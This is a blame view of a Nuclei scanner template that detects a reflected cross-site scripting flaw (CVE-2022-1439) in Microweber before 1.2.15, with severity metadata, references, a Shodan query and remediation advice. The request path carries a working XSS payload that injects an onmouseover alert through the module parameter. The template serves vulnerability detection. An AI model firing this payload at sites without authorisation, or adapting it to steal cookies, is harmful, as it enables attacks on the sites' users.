daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2022/CVE-2022-1439.yaml

47 lines
2.0 KiB
YAML
Raw Normal View History

Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
id: CVE-2022-1439
info:
Dashboard Content Enhancements (#5372) Dashboard Content Enhancements
2022-09-16 19:50:10 +00:00
name: Microweber <1.2.15 - Cross-Site Scripting
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
author: pikpikcu
Auto Generated CVE annotations [Fri Sep 16 20:03:07 UTC 2022] :robot:
2022-09-16 20:03:07 +00:00
severity: medium
Dashboard Content Enhancements (#5372) Dashboard Content Enhancements
2022-09-16 19:50:10 +00:00
description: Microweber prior to 1.2.15 contains a reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
updated 2022 CVEs
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to Microweber CMS version 1.2.15 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
reference:
- https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0/
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://huntr.dev/bounties/86f6a762-0f3d-443d-a676-20f8496907e0
- https://github.com/microweber/microweber/commit/ad3928f67b2cd4443f4323d858b666d35a919ba8
Dashboard Content Enhancements (#5372) Dashboard Content Enhancements
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1439
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
classification:
Auto Generated CVE annotations [Fri Sep 16 20:03:07 UTC 2022] :robot:
2022-09-16 20:03:07 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
Dashboard Content Enhancements (#5372) Dashboard Content Enhancements
2022-09-16 19:50:10 +00:00
cve-id: CVE-2022-1439
Auto Generated CVE annotations [Fri Sep 16 20:03:07 UTC 2022] :robot:
2022-09-16 20:03:07 +00:00
cwe-id: CWE-79
TemplateMan Update [Tue Oct 31 18:27:55 UTC 2023] :robot:
2023-10-31 18:27:55 +00:00
epss-score: 0.00115
TemplateMan Update [Sat Nov 11 17:44:56 UTC 2023] :robot:
2023-11-11 17:44:56 +00:00
epss-percentile: 0.44937
updated 2022 CVEs
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
metadata:
Added max request counter of each template
2023-04-28 08:11:21 +00:00
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: microweber
product: microweber
updated 2022 CVEs
2023-09-06 11:59:08 +00:00
shodan-query: http.favicon.hash:780351152
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot:
2022-08-27 04:41:18 +00:00
tags: cve,cve2022,microweber,xss,huntr
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2022-1504 (#4308) * Create CVE-2022-1504.yaml * Added CVE-2022-1439 * removed additional template Co-authored-by: sandeep <sandeep@projectdiscovery.io>
2022-05-06 09:56:54 +00:00
- method: GET
path:
- '{{BaseURL}}/module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url={{BaseURL}}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<div class='x module module-'onmouseover=alert(document.domain) '"
- "parent-module-id"
condition: and
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
Auto Template Signing [Sat Nov 11 17:38:54 UTC 2023] :robot:
2023-11-11 17:38:55 +00:00
# digest: 4a0a0047304502201a16b922e4016f3bf7b63c326b9065cafcbb3c1c135292b6e8b2da58cce150d9022100f86a5db7c091a0afcecdde3ac00d648edbcf7c00ea35caaf56ba5fccb89063be:922c64590222798bb761d5b6d8e72950